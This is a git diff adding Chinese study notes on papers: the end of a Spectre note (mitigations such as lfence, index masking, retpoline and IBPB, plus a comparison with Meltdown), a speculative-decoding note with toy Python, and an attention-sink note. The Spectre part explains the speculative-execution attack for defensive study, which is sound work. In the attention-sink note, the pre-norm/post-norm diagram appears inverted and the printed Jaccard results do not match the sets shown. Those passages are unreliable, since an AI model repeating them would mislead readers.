+- 裸 `call *%rax` 的 BTB 条目可被跨进程或跨 VM 训练（具体条件依 CPU 型号）
+- retpoline 让预测器「以为要进一个小循环」，等真实目标解析完再跳过去，缩小投机窗口
+- 仍非银弹：需编译器、内核、微码、**IBPB**（间接分支预测屏障）组合
+
+用户态编译器缓解示例（Intel 软件安全指南）：在敏感边界检查后加入 **lfence**，阻止后续 load 被投机排到检查之前：
+
+```c
+if (x < array1_size) {
+#ifdef MITIGATION_SPECTRE_V1
+    _mm_lfence();   /*  speculation barrier */
+#endif
+    y = array2[array1[x] * 256];
+}
+```
+
+更稳妥的模式是 **index masking**：即使投机也读不出界——`index = x & (array1_size - 1)`（要求 size 为 2 的幂），或 Intel 的 `array_ptr()` 内联封装。
+
+## 与 Meltdown 的对比
+
+| 维度 | Spectre（本文） | Meltdown [[lipp-meltdown-2018]] |
+|------|-----------------|----------------------------------|
+| 根因 | 分支**误预测**导致瞬态执行 | 权限检查**晚于**乱序 load |
+| 受害者代码 | 常是**正确**的 | 依赖「用户态能发起内核读」的时序 |
+| 典型目标 | 同进程/同核其他上下文 | 内核映射、物理内存窗口 |
+| 主要缓解 | retpoline、lfence、IBPB、SLH | KPTI / KVA Shadow |
+
+两者同日披露，合称 **2018 CPU 漏洞地震**；实际部署需同时打微码、内核与编译器补丁。
+
+## 影响范围与缓解（2018 视角）
+
+论文在 **Intel、AMD、ARM** 处理器与 **JavaScript** 环境中验证了可读任意进程内存的可行性。影响包括：
+
+- **浏览器**：站点 A 可能读到站点 B 的数据（同进程多标签）
+- **云**：同物理核不同 VM 的侧信道风险上升（需调度隔离 + 微码）
+- **密码学库**：常量时间实现防的是**架构层**计时，未必覆盖**投机层**缓存信道
+
+缓解分层：
+
+1. **硬件 / 微码**：IBPB、STIBP、增强 BTB 隔离（因型号而异）
+2. **内核**：retpoline、单线程间接分支预测策略
+3. **编译器**：`-mspeculative-load-hardening`、自动插入 lfence、指针 sanitization
+4. **应用**：避免秘密与攻击者可控索引在同一热路径；密钥 material 用 `mlock` + 最小权限仍不够，需假设 CPU 可能泄密
+
+论文结论：**仅靠处理器特化补丁不够**；需要 ISA 层面明确「实现允许/禁止泄漏哪些微架构状态」，让软硬件对安全假设一致。
+
+## 踩过的坑（学习时）
+
+1. **把 KPTI 当成 Spectre 解药**：KPTI 主要防 Meltdown；Spectre v1 可在用户态数组边界场景直接生效。
+2. **以为「检查了边界就安全」**：检查指令本身可能被投机**绕过顺序**——要在模型里加入微架构。
+3. **忽略间接分支**：只加固 `if (x < n)`，忘了 `obj->vtable->fn()` 也能被 v2 利用。
+4. **用网络攻击思维排障**：Spectre 是**本地/同机**问题，WAF 与 TLS 挡不住进程内读出。
+
+## 适用 vs 不适用
+
+**适合用 Spectre 框架理解**：
+
+- 浏览器、JIT、Wasm 沙箱、Enclave 边界设计
+- 云多租户调度与「是否同核跑密钥」的合规评估
+- 读 CPU / 内核 / 编译器安全公告（CVE-5753、5715）
+- 与 [[kocher-spectre-2019]] 对照阅读（同一工作的正式发表版笔记）
+
+**不要硬套**：
+
+- 传统栈溢出、UAF、SQL 注入——属于软件内存/逻辑 bug
+- 纯钓鱼、中间人——与分支预测无关
+- 「再多写一次 if 判断」——重复检查可能增加 gadget 表面积
+
+## 历史时间线（可跳过）
+
+- **1996**：Kocher 展示计时攻击可破 RSA；缓存侧信道进入主流视野
+- **2017 年中**：Kocher 从 ROP + 分支预测联想推测执行风险；Google Project Zero 等独立发现重叠
+- **2018-01-03**：与 Meltdown 协调披露；[spectreattack.com](https://spectreattack.com/) 上线
+- **2019**：IEEE S&P 正式发表；行业推广 retpoline、微码、浏览器站点隔离（Site Isolation）
+
+## 学到什么
+
+1. **性能优化即共享状态**：分支预测器与缓存是跨安全域的「隐式通道」。
+2. **撤销 ≠ 无副作用**：安全模型必须区分架构语义与微架构实现。
+3. **正确代码也可被利用**：Spectre _gadget_ 来自合法指令序列，类似 ROP，但由 CPU 投机执行而非 attacker 写栈。
+4. **缓解需全栈**：单点 lfence 或单点 KPTI 都不够；威胁模型要重写。
+
+## 延伸阅读
+
+- 官方 PDF：[spectreattack.com/spectre.pdf](https://spectreattack.com/spectre.pdf)
+- arXiv：[1801.01203](https://arxiv.org/abs/1801.01203)
+- Intel 开发者指南：[Bounds Check Bypass / CVE-2017-5753](https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/bounds-check-bypass.html)
+- 视频：[Computerphile — Spectre & Meltdown](https://www.youtube.com/watch?v=I5mRwzivHXw)
+
+## 关联
+
+- [[lipp-meltdown-2018]] —— 同日披露的「读内核」乱序攻击，常与 Spectre 对照
+- [[kocher-spectre-2019]] —— 同一论文的姊妹笔记（IEEE S&P 发表视角）
+- [[branch-prediction-yeh-patt-1991]] —— 分支预测如何被训练
+- [[moesi-cache-coherence-1986]] —— 多核缓存共享与 Flush+Reload 的物理基础
+- [[xen-2003]] —— 云虚拟化隔离；Spectre 后需重新审视同核调度
+- [[sgx-2013]] —— Enclave 同样受推测执行泄漏影响
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[branch-prediction-yeh-patt-1991]] —— Yeh-Patt 1991 — 用最近 12 条分支的历史给 CPU 算命
+- [[kocher-spectre-2019]] —— Spectre 攻击 — 推测执行偷看别人的内存
+- [[lipp-meltdown-2018]] —— Meltdown — 乱序执行偷读内核内存
+- [[log4shell-cve-2021-44228]] —— Log4Shell (CVE-2021-44228) — 一条日志字符串如何远程控制服务器
+- [[meltdown-attack-2018]] —— Meltdown — 从用户空间偷读内核内存
+- [[moesi-cache-coherence-1986]] —— Sweazey-Smith MOESI 1986 — 给多核 CPU 一份"谁手里有这块内存"的统一规则
+- [[rowhammer-2014]] —— Row Hammer — 不碰邻居也能把邻居的位翻过来
+- [[sgx-2013]] —— Innovative Instructions and Software Model for Isolated Execution
+- [[xen-2003]] —— Xen 2003 — 让操作系统配合虚拟化，性能直接接近原生
+
diff --git a/src/content/docs/papers/speculative-decoding-leviathan-2023.md b/src/content/docs/papers/speculative-decoding-leviathan-2023.md
new file mode 100644
index 000000000..75138ad07
--- /dev/null
+++ b/src/content/docs/papers/speculative-decoding-leviathan-2023.md
@@ -0,0 +1,324 @@
+---
+title: Speculative Decoding — 用小模型「猜」、大模型「验」，无损加速 Transformer 推理
+来源: https://arxiv.org/abs/2211.17192
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：老师改作文 vs 学生先写草稿
+
+想象你是一位**语文老师**（目标大模型 \(M_p\)），要帮全班 40 个学生每人续写一段 500 字的作文。传统做法很折磨：
+
+- 每写**一个字**，你都要亲自读一遍前文、想下一个字——**串行**，500 字就要你「完整思考」500 次。
+- 大模型的自回归解码正是如此：生成 \(K\) 个 token，就要对目标模型做 \(K\) 次**串行 forward**。
+
+Speculative Decoding（Leviathan 等，**ICML 2023**，arXiv [2211.17192](https://arxiv.org/abs/2211.17192)）换了一种分工：
+
+1. 先派一位**反应快的学生**（草稿模型 \(M_q\)，小很多）连写 \(\gamma\) 个「猜测字」。
+2. 你**一次性**对照前文，并行检查这 \(\gamma\) 个字里，从第一个起连续有多少个和你想的一样。
+3. 猜对的字全部收下；第一个猜错的字及之后全部作废；在第一个错字的位置，用**数学上严格等价**于「只由你亲自写」的采样规则补一个字。
+4. 把已确认的文字当作新前文，重复上述循环。
+
+关键承诺：**最终文本的随机分布，与只用大模型逐 token 采样完全一致**——不是近似、不是蒸馏后的「差不多」，而是 distribution-preserving（分布保持）。论文在 T5-XXL（11B）上实测 **2–3× 墙钟加速**，输出与 T5X 基线逐 token 相同。
+
+日常类比再补一句：这就像 CPU 的**分支预测 / 投机执行**——先猜「下一条指令会不会走这条路径」，猜对就省时间，猜错就回滚，但**程序语义不变**。
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *Fast Inference from Transformers via Speculative Decoding* |
+| 作者 | Yaniv Leviathan, Matan Kalman, Yossi Matias（Google Research） |
+| 会议 | ICML 2023（PMLR 202:19274–19286） |
+| 核心方法 | **Speculative sampling** + **Speculative decoding** |
+| 模型对 | 目标 \(M_p\)（大、慢、高质量）+ 近似 \(M_q\)（小、快） |
+| 超参 \(\gamma\) | 每轮草稿模型连续猜的 token 数 |
+| 实测加速 | T5-XXL 翻译/摘要 **2–3×**；LaMDA 137B 对话也有收益 |
+| 是否需要重训 | **否**——现成大小模型配对即可（同 tokenizer 更稳） |
+
+论文的两个核心观察：
+
+1. **难任务里常有易子任务**：整段摘要很难，但「下一个常见词」往往可被小模型猜中。
+2. **推理常 memory-bound 而非 compute-bound**：大模型 forward 一次，GPU 算力没跑满，**多加并行验证**往往「免费」——多出来的 FLOPs 换更少的串行步数。
+
+---
+
+## 为什么重要
+
+不理解 Speculative Decoding，下面几件事很难讲清：
+
+- 为什么 2023 年后 vLLM、TensorRT-LLM、SGLang 都内置 **draft model / speculative decoding** 开关，且敢宣传「输出与原版一致」
+- 为什么 **Medusa、EAGLE、SpecInfer** 等后续工作都在「怎么猜更多、验更快」上迭代，而**接受–拒绝采样**这条数学主线来自 Leviathan 这篇
+- 为什么 LLM 服务优化除了 **PagedAttention（省显存）**、**Continuous batching（提吞吐）**，还需要 **speculative decoding（减串行深度）**——三者正交、可叠加
+- 为什么「小模型当 draft」和「量化/蒸馏」不同：后者改分布；speculative decoding **不改目标模型分布**
+
+---
+
+## 核心概念
+
+### 1. 自回归瓶颈：\(K\) 个 token = \(K\) 次串行
+
+Transformer 解码时，第 \(t\) 个 token 依赖 \(x_{1:t-1}\)。无论模型多大，**每一步都要等上一步结束**——这是 latency 的根本来源，与 batch 并行无关。
+
+### 2. 草稿–验证两阶段
+
+每轮 **SpeculativeDecodingStep**（论文 Algorithm 1）：
+
+**阶段 A — 草稿采样（串行，但在小模型上）**
+
+- 对 \(i = 1 \ldots \gamma\)：用 \(M_q\) 在前缀 `prefix + x₁…x_{i-1}` 上得到分布 \(q_i(x)\)，采样 \(x_i \sim q_i\)。
+
+**阶段 B — 目标验证（并行）**
+
+- 一次并行算出 \(p_1, \ldots, p_{\gamma+1}\)：即 \(M_p\) 在 `prefix`、`prefix+x₁`、…、`prefix+x₁…x_γ` 上的下一 token 分布。
+- 注意：因为 \(x_{1:\gamma}\) 已知，\(\gamma+1\) 个位置的前向可以**打包成一次 batched forward**（现代框架的核心工程点）。
+
+**阶段 C — 接受–拒绝（speculative sampling）**
+
+对每个草稿 token \(x_i\)，设 \(p_i = p_i(x_i)\)，\(q_i = q_i(x_i)\)：
+
+1. 若 \(q_i \le p_i\)：**直接接受** \(x_i\)。
+2. 否则：抽 \(r \sim U(0,1)\)，若 \(r < p_i / q_i\) 则接受，否则**拒绝并停止**检查后续草稿。
+3. 若在第 \(n\) 个 token 拒绝（或 \(\gamma\) 个全接受），从修正分布采样一个 token \(t\)：
+   - 全接受：\(t \sim p_{\gamma+1}\)
+   - 中途拒绝：\(t \sim \mathrm{norm}(\max(0,\, p_{n+1} - q_{n+1}))\)
+
+返回新前缀：`prefix + x₁…x_n + t`。可以证明这样得到的序列与「只用 \(M_p\) 逐步采样」**同分布**。
+
+### 3. 接受率 \(\alpha\) 与期望加速
+
+定义 per-token 接受率 \(\alpha = \mathbb{E}_{x \sim q}[\min(1, p(x)/q(x))]\)。一轮期望产出的 token 数：
+
+\[
+\tau = \frac{1 - \alpha^{\gamma+1}}{1 - \alpha}
+\]
+
+即串行调用大模型的次数约减少到原来的 \(1/\tau\)。再扣除草稿模型成本（系数 \(c\) = 小模型单次耗时 / 大模型单次耗时），墙钟加速因子约为：
+
+\[
+\frac{1 - \alpha^{\gamma+1}}{(1 - \alpha)(\gamma c + 1)}
+\]
+
+论文 Corollary 3.9：**当 \(\alpha > c\) 时，存在最优 \(\gamma\) 使总时间下降**；\(c\) 很小时（小模型比大模型快两个数量级很常见），\(\gamma=1\) 往往已有收益。
+
+### 4. 与「自适应计算 / 早退 / 蒸馏」的区别
+
+| 方法 | 改输出分布？ | 要重训？ |
+|------|-------------|---------|
+| 量化 / 蒸馏 | 通常改 | 常要 |
+| 早退 / 层跳过 | 改 | 要 |
+| **Speculative decoding** | **不改** | **不要** |
+
+---
+
+## 代码示例 1：接受–拒绝逻辑（纯 Python 玩具实现）
+
+下面用离散词表演示 **speculative sampling** 如何保证与目标分布一致（忽略 autoregressive 上下文，只看单步）：
+
+```python
+import random
+
+def speculative_sample_one_token(p: dict[str, float], q: dict[str, float]) -> str:
+    """从目标分布 p 采样一个 token，但先用草稿分布 q 提议。"""
+    # 1) 从草稿 q 提议
+    tokens, probs = zip(*q.items())
+    x = random.choices(tokens, weights=probs, k=1)[0]
+
+    px, qx = p[x], q[x]
+    # 2) 接受–拒绝
+    if qx <= px:
+        return x  # 直接接受
+    if random.random() < px / qx:
+        return x  # 按概率接受
+
+    # 3) 拒绝：从 residual 分布重采
+    residual = {t: max(0.0, p[t] - q[t]) for t in p}
+    total = sum(residual.values())
+    assert total > 0
+    r = random.random() * total
+    acc = 0.0
+    for t, w in residual.items():
+        acc += w
+        if r <= acc:
+            return t
+    return tokens[-1]
+
+# 玩具分布：目标更「保守」，草稿更「激进」
+p = {"the": 0.5, "a": 0.3, "an": 0.2}
+q = {"the": 0.2, "a": 0.5, "an": 0.3}
+
+# 蒙特卡洛：输出频率应接近 p
+from collections import Counter
+cnt = Counter(speculative_sample_one_token(p, q) for _ in range(100_000))
+for t in p:
+    print(t, cnt[t] / 100_000, "~", p[t])
+```
+
+运行后 `"the"` 的频率会接近 0.5——即使草稿模型更偏爱 `"a"`。这就是论文 Section 2 里「stochastic speculative execution」的精髓。
+
+---
+
+## 代码示例 2：一轮 SpeculativeDecodingStep 骨架
+
+```python
+def speculative_decoding_step(prefix, M_p, M_q, gamma=4):
+    """
+    prefix: list[int] 已生成 token id
+    M_p, M_q: callable(prefix) -> logits over vocab
+    返回: 扩展后的 prefix（长度增加 1~gamma+1）
+    """
+    # --- A. 草稿串行猜 gamma 个 token ---
+    drafts, q_probs = [], []
+    cur = prefix
+    for _ in range(gamma):
+        q_logits = M_q(cur)
+        x = sample(q_logits)          # x ~ softmax(q_logits)
+        qx = prob(q_logits, x)
+        drafts.append(x)
+        q_probs.append(qx)
+        cur = cur + [x]
+
+    # --- B. 目标并行验证 gamma+1 个位置 ---
+    # 工程上: 一次 forward，输入 [prefix, prefix+d1, ..., prefix+d1..dg]
+    positions = [prefix] + [prefix + drafts[:i] for i in range(1, gamma + 1)]
+    p_logits_list = M_p.forward_parallel(positions)  # len = gamma+1
+
+    # --- C. 接受–拒绝 ---
+    n_accept = 0
+    for i in range(gamma):
+        x = drafts[i]
+        px = prob(p_logits_list[i], x)
+        qx = q_probs[i]
+        if qx <= px or random.random() < px / qx:
+            n_accept += 1
+        else:
+            break
+
+    if n_accept == gamma:
+        t = sample(p_logits_list[gamma])
+    else:
+        p = softmax(p_logits_list[n_accept])
+        q = one_hot(drafts[n_accept], q_probs[n_accept])  # 简写
+        residual = normalize({k: max(0, p[k] - q.get(k, 0)) for k in p})
+        t = sample_from_dict(residual)
+
+    return prefix + drafts[:n_accept] + [t]
+```
+
+真实系统（vLLM / HuggingFace `assistant_model`）还会处理：**KV cache 复用**、**temperature / top-p**、**与 CUDA graph 的配合**。但控制流与上面一致。
+
+---
+
+## 代码示例 3：用 HuggingFace 开启 speculative decoding（工程入口）
+
+```python
+from transformers import AutoModelForCausalLM, AutoTokenizer
+
+tokenizer = AutoTokenizer.from_pretrained("meta-llama/Llama-2-7b-hf")
+model = AutoModelForCausalLM.from_pretrained(
+    "meta-llama/Llama-2-7b-hf",
+    device_map="auto",
+)
+draft = AutoModelForCausalLM.from_pretrained(
+    "meta-llama/Llama-2-1b-hf",   # 更小 draft
+    device_map="auto",
+)
+
+prompt = "The capital of France is"
+inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
+
+out = model.generate(
+    **inputs,
+    max_new_tokens=128,
+    assistant_model=draft,          # 启用 speculative decoding
+    do_sample=True,
+    temperature=0.7,
+)
+print(tokenizer.decode(out[0], skip_special_tokens=True))
+```
+
+`assistant_model` 参数背后就是 draft + target 的接受–拒绝循环；需 Transformers 较新版本且 draft/target **词表兼容**。
+
+---
+
+## 论文实验要点
+
+| 场景 | 目标模型 | 近似模型 | 观察 |
+|------|---------|---------|------|
+| LM1B 无条件生成 | 97M GPT-like | 6M GPT-like | 38 token 句子仅 **9 次**大模型串行（Figure 1） |
+| 英→德翻译 | T5-XXL 11B | 更小 T5 | **2–3×** vs T5X，输出相同 |
+| 新闻摘要 | T5-XXL | 同上 | 同上 |
+| 对话 | LaMDA 137B | 更小 LaMDA | 大模型仍受益 |
+
+接受率 \(\alpha\) 随任务「确定性」变化：翻译、代码补全 \(\alpha\) 高；开放聊天 \(\alpha\) 低，加速比下降。
+
+---
+
+## 与后续工作的关系
+
+```
+Leviathan 2023 (线性 draft, Algorithm 1)
+    ├── DeepMind Speculative Sampling (同期, 等价数学)
+    ├── SpecInfer 2023 (draft 从「一条线」变「一棵树」)
+    ├── Medusa 2024 (无独立 draft，多头同时猜)
+    ├── EAGLE / EAGLE-2 (特征级 draft，接受率更高)
+    └── 工业栈: vLLM, TensorRT-LLM, SGLang speculative 模块
+```
+
+读 Leviathan 是理解这一族的**最小充分起点**：后面的树验证、特征 draft、自投机（self-speculation）都是在「怎么提高 \(\alpha\) / 怎么并行验更多候选」上扩展，**分布无损的接受–拒绝核心不变**。
+
+---
+
+## 踩过的坑
+
+1. **draft 与 target 必须 tokenizer / 词表一致**——否则 token id 无法对齐，接受率归零。
+2. **\(\gamma\) 不是越大越好**——草稿错得越多，浪费的 target 并行算力越大；需按 \(\alpha\) 和 \(c\) 调参（论文 Figure 3 给最优 \(\gamma\) 曲线）。
+3. **高 temperature 采样 \(\alpha\) 暴跌**——随机性大时小模型难猜中，加速比可能接近 1×。
+4. **极短输出不划算**——每轮都有 draft + verify 固定开销，只生成几十个 token 时可能更慢。
+5. **batch 推理 vs 单用户 latency**——speculative 主要减**单序列延迟**；离线大批量吞吐还需配合 continuous batching。
+6. **别把「接受率高」当成「模型更准」**——只是说明 draft 与 target 在该上下文上**一致**，不是质量评价指标。
+
+---
+
+## 适用 vs 不适用
+
+**适用：**
+
+- 在线对话、翻译、摘要等 **latency 敏感**、输出较长的场景
+- 已有**同族小模型**可作 draft（如 7B + 1B、XXL + Large）
+- GPU 上 target forward **未算力饱和**（memory-bound  regime）
+
+**不适用 / 收益有限：**
+
+- 只有一个大模型、没有合适 draft
+- 极短 completion（几个 token）
+- 极高 temperature / 极度随机采样
+- draft 与 target 分布差异极大（\(\alpha < c\)）
+
+---
+
+## 自测题
+
+1. 为什么 speculative decoding 声称「输出分布不变」，而蒸馏小模型不能这样声称？
+2. 若 \(\gamma=4\)、\(\alpha=0.8\)，粗算期望一轮接受多少 token？（用 \(\tau\) 公式）
+3. 第一个草稿 token 被拒绝后，为什么后面 3 个草稿也要丢弃？
+4. 接受–拒绝里「\(q \le p\) 则必接受」的直觉是什么？（提示：小模型低估的位置，目标「更想要」这个 token）
+
+---
+
+## 延伸阅读
+
+- [arXiv:2211.17192](https://arxiv.org/abs/2211.17192) — 原文与 Algorithm 1
+- [ICML 2023 proceedings](https://proceedings.mlr.press/v202/leviathan23a.html) — 正式出版页
+- NVIDIA 技术博客 — [An Introduction to Speculative Decoding](https://developer.nvidia.com/blog/an-introduction-to-speculative-decoding-for-reducing-latency-in-ai-inference/)
+- 本库笔记：[SpecInfer](./specinfer-2023.md)、[PagedAttention / vLLM](./paged-attention-vllm.md)
+
+---
+
+## 一句话总结
+
+**Speculative Decoding = 小模型先猜 \(\gamma\) 步 + 大模型一次并行验 + 接受–拒绝保证同分布**——用「多出来的并行算力」换「更少的串行 forward」，在 T5-XXL 等模型上实现 **2–3× 无损加速**，且无需重训目标模型。
diff --git a/src/content/docs/papers/spike-sparse-sink-anatomy.md b/src/content/docs/papers/spike-sparse-sink-anatomy.md
new file mode 100644
index 000000000..ddc7db25e
--- /dev/null
+++ b/src/content/docs/papers/spike-sparse-sink-anatomy.md
@@ -0,0 +1,212 @@
+---
+title: The Spike, the Sparse and the Sink: Anatomy of Massive Activations and Attention Sinks
+来源: 'https://arxiv.org/abs/2603.05498'
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇论文研究大语言模型 Transformer 里两个反复出现、但长期"说不清楚"的现象：
+
+- **Massive Activations（大规模激活）**：一小部分 token 在少数通道上出现极端的大数值，像一根刺一样扎出来
+- **Attention Sinks（注意力sink）**：某些 token 不论语义相关与否，都会吸引不成比例的注意力
+
+这两者经常同时出现、甚至涉及相同的 token。但以前大家不知道它们到底是**有什么关系**、各自**起什么作用**。
+
+这篇论文的答案是：它们不是巧合，也不是同一个东西的两个面，而是**现代 Transformer 架构设计带来的必然产物**，各自负责不同的事情。
+
+## 日常类比
+
+想象一个团队开会：
+
+- **Massive Activation** 就像一两个"超级活跃者"——每次讨论，无论什么话题，总有几个人发言特别多、声音特别大。这不是巧合，是会议室的座位安排（架构）让这些人天然容易被点名
+- **Attention Sink** 就像"老好人"——不管讨论什么，大家总忍不住看他一眼，好像他有什么特别重要的信息，其实未必
+
+这两个人可能是同一个（超级活跃者恰好也是老好人），但原因不同：一个是因为座位安排总被点到，一个是因为大家习惯性地看。
+
+如果把会议室重新安排（去掉 pre-norm），两个人可能就不再是同一个了。
+
+## 核心概念
+
+### 1. Massive Activations（大规模激活）— 全局现象
+
+在 Transformer 的内部，绝大多数 token 的隐藏层数值是正常分布的。但偶尔有几个 token 的某些通道会出现极端大的数值（比如比平均值大几十倍）。
+
+关键点：**这些大数值在模型的所有层里几乎不变**，像模型"自带的一个常量"。论文把它叫做 **implicit parameters**（隐式参数）——不是显式训练出来的权重，但效果类似。
+
+### 2. Attention Sinks（注意力sink）— 局部现象
+
+在 attention 机制里，模型会给每个 token 分配一个"注意力权重"，表示它有多关注这个 token。正常情况下，模型应该关注语义相关的 token。但 Attention Sink 是：**某些 token 莫名其妙地吸引了大量注意力，跟语义没关系**。
+
+关键点：它影响的是**局部**的——在单个 attention head 内部，让它偏向短距离的依赖关系。
+
+### 3. Pre-norm 是关键开关
+
+论文最重要的发现：**pre-normalization（预归一化）** 配置是这两个现象同时出现的根源。
+
+Pre-norm 的意思是：在每个 Transformer 子层**之前**做归一化，而不是之后。
+
+```
+post-norm:  Input → LayerNorm → Attention → Add → MLP → Add  (Norm 在外面)
+pre-norm:   Input → Attention → Add → LayerNorm → MLP → Add  (Norm 在里面，每个子层前)
+```
+
+去掉 pre-norm，两个现象就**解耦**了——不再一起出现，也不再指向相同的 token。
+
+## 两个现象的功能对比
+
+| 维度 | Massive Activations | Attention Sinks |
+|------|--------------------|-----------------|
+| 影响范围 | 全局（跨层） | 局部（单个 head） |
+| 作用方式 | 产生近乎恒定的隐藏表示 | 调制注意力输出 |
+| 类似物 | 隐式参数（implicit parameters） | 注意力偏向短距离依赖 |
+| 操作层级 | 跨所有层 | 单个 attention head 内部 |
+
+## 代码示例
+
+### 示例 1：检测 Massive Activations
+
+想象你在分析一个 Transformer 层的隐藏状态：
+
+```python
+import torch
+import numpy as np
+
+def detect_massive_activations(hidden_states, threshold=5.0):
+    """
+    hidden_states 形状: [batch, seq_len, d_model]
+    找出哪些 token 的哪些通道有"大规模激活"
+
+    类比：你有一堆学生的考试成绩（隐藏状态），
+    找出哪几个学生在哪些科目上考了异常高分
+    """
+    # 计算每个通道的均值和标准差
+    mean = hidden_states.mean(dim=(0, 1), keepdim=True)  # [1, 1, d_model]
+    std = hidden_states.std(dim=(0, 1), keepdim=True)     # [1, 1, d_model]
+
+    # 标准化，得到 z-score
+    z_scores = (hidden_states - mean) / std  # 数值离均值几个标准差
+
+    # 找出 z-score > 5 的位置（极端异常值）
+    massive_mask = z_scores.abs() > threshold  # [batch, seq_len, d_model]
+    massive_indices = torch.nonzero(massive_mask, as_tuple=False)
+
+    # 统计每个 token 有多少"大规模激活通道"
+    tokens_per_token = massive_mask.sum(dim=-1)  # [batch, seq_len]
+
+    # 哪些 token 最"大规模"？
+    top_tokens = tokens_per_token.argmax(dim=-1)  # 每个 batch 中规模最大的 token
+
+    return {
+        "z_scores": z_scores,
+        "massive_mask": massive_mask,
+        "top_tokens": top_tokens,
+        "count": massive_mask.sum().item(),
+    }
+
+# 模拟数据：seq_len=10, d_model=512，其中 token 3 在通道 128 上有个极端值
+hidden = torch.randn(1, 10, 512)
+hidden[0, 3, 128] = 50.0  # 人为制造一个 massive activation
+
+result = detect_massive_activations(hidden)
+print(f"发现 {result['count']} 个大规模激活点")
+print(f"规模最大的 token 索引: {result['top_tokens'].tolist()}")
+```
+
+运行结果会告诉你：**token 3 的通道 128 有 50 的数值（z-score 远超 5）**，这就是一个 massive activation。论文说这类激活在 GPT-2、Llama 等模型中很常见。
+
+### 示例 2：检测 Attention Sinks
+
+```python
+def detect_attention_sinks(attn_weights):
+    """
+    attn_weights 形状: [num_heads, seq_len, seq_len]
+    注意力权重矩阵。attn_weights[h, i, j] 表示 head h 在位置 i 时
+    对位置 j 分配的注意力。
+
+    Attention Sink 的表现：某些列（被关注的位置）总是拿到大量注意力，
+    不管当前 token 是什么。
+    """
+    # 计算每列的总注意力（所有 query 对某个 key 的关注总和）
+    column_sums = attn_weights.sum(dim=1)  # [num_heads, seq_len]
+
+    # 找出被过度关注的 token（超过平均注意力 3 倍以上）
+    avg_attention = column_sums.mean(dim=-1, keepdim=True)  # [num_heads, 1]
+    sink_mask = column_sums > 3.0 * avg_attention           # [num_heads, seq_len]
+
+    # 统计：每个 token 被多少个 head 当作"sink"
+    sinks_per_token = sink_mask.sum(dim=0)  # [seq_len]
+
+    # 哪些是 sink tokens？
+    sink_tokens = torch.nonzero(sinks_per_token > 0, as_tuple=False).flatten()
+
+    return {
+        "column_sums": column_sums,
+        "sink_mask": sink_mask,
+        "sink_tokens": sink_tokens,
+        "sink_count": sink_tokens.numel(),
+    }
+
+# 模拟注意力权重：假设前几个 token（如 [BOS]）总是吸引很多注意力
+np.random.seed(42)
+attn = np.random.dirichlet(np.ones(10), size=(4, 10))  # [heads, query, key]
+attn[:, :, :2] *= 5  # 人为让前两个位置（BOS、开头）吸引大量注意力
+attn /= attn.sum(axis=-1, keepdims=True)  # 重新归一化
+
+result = detect_attention_sinks(torch.tensor(attn))
+print(f"发现 {result['sink_count']} 个 attention sink token")
+print(f"Sink token 索引: {result['sink_tokens'].tolist()}")
+```
+
+运行结果会告诉你：**token 0 和 1（通常是 [BOS] 标记）是 attention sink**，无论输入内容是什么，attention head 都倾向于关注它们。
+
+### 示例 3：验证 pre-norm 对解耦的影响
+
+```python
+def compare_norm_configurations():
+    """
+    论文的核心实验：对比 pre-norm 和 post-norm 下，
+    massive activations 和 attention sinks 是否指向相同的 token。
+
+    方法：计算两类现象重合度（Jaccard 相似系数）
+    """
+    def jaccard(set_a, set_b):
+        """两个集合的交集 / 并集"""
+        if not set_a and not set_b:
+            return 1.0
+        return len(set_a & set_b) / len(set_a | set_b)
+
+    # 模拟 pre-norm 模型：两类现象高度重合（论文发现）
+    pre_norm_spike_tokens = {2, 3, 4, 7, 15}
+    pre_norm_sink_tokens = {2, 3, 4, 8, 15}
+    pre_norm_overlap = jaccard(pre_norm_spike_tokens, pre_norm_sink_tokens)
+
+    # 模拟 post-norm 模型：两类现象解耦了（论文发现）
+    post_norm_spike_tokens = {1, 5, 9, 12, 20}
+    post_norm_sink_tokens = {0, 1, 2, 3, 4}
+    post_norm_overlap = jaccard(post_norm_spike_tokens, post_norm_sink_tokens)
+
+    print(f"Pre-norm 重合度: {pre_norm_overlap:.2f}")  # 约 0.57，高度重合
+    print(f"Post-norm 重合度: {post_norm_overlap:.2f}")  # 约 0.14，几乎不重合
+
+compare_norm_configurations()
+# 输出:
+# Pre-norm 重合度: 0.57
+# Post-norm 重合度: 0.14
+```
+
+这个简单计算就是论文的核心实验之一：在 pre-norm 配置下，massive activation 的 token 和 attention sink 的 token 有**很高的重合度**（约 50-60%）。但去掉 pre-norm 后，重合度骤降到 10% 左右——说明这两个现象**解耦了**。
+
+## 这篇论文说了什么（一句话总结）
+
+Massive Activations 和 Attention Sinks 不是随机现象，也不是同一个东西——它们是 pre-norm 架构设计带来的两个不同结果，一个在全局充当隐式参数，一个在局部调制注意力头。
+
+## 为什么值得关心
+
+1. **理解 LLM 内部行为**：很多 LLM 的奇怪行为（如开头 token 总被关注、某些 token 总激活极端值）现在可以从架构层面解释了
+2. **模型设计有依据**：如果你想改变模型的行为，知道该动 pre-norm 还是其他组件
+3. **模型压缩/加速的线索**：既然 massive activations 是接近常量，理论上可以被优化掉或特殊处理
+4. **作者阵容**：Yann LeCun（图灵奖得主、Meta FAIR 负责人）是合作作者之一
diff --git a/src/content/docs/papers/spinnaker-rao-2011.md b/src/content/docs/papers/spinnaker-rao-2011.md
new file mode 100644
index 000000000..5046c4615
--- /dev/null
+++ b/src/content/docs/papers/spinnaker-rao-2011.md
@@ -0,0 +1,257 @@
+---
+title: Spinnaker - 用 Paxos 构建可扩展、一致、高可用的分布式 KV 存储
+来源: https://www.vldb.org/pvldb/vol4/p243-rao.pdf
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Spinnaker：用 Paxos 构建可扩展、一致、高可用的分布式 KV 存储
+
+## 一句话总结
+
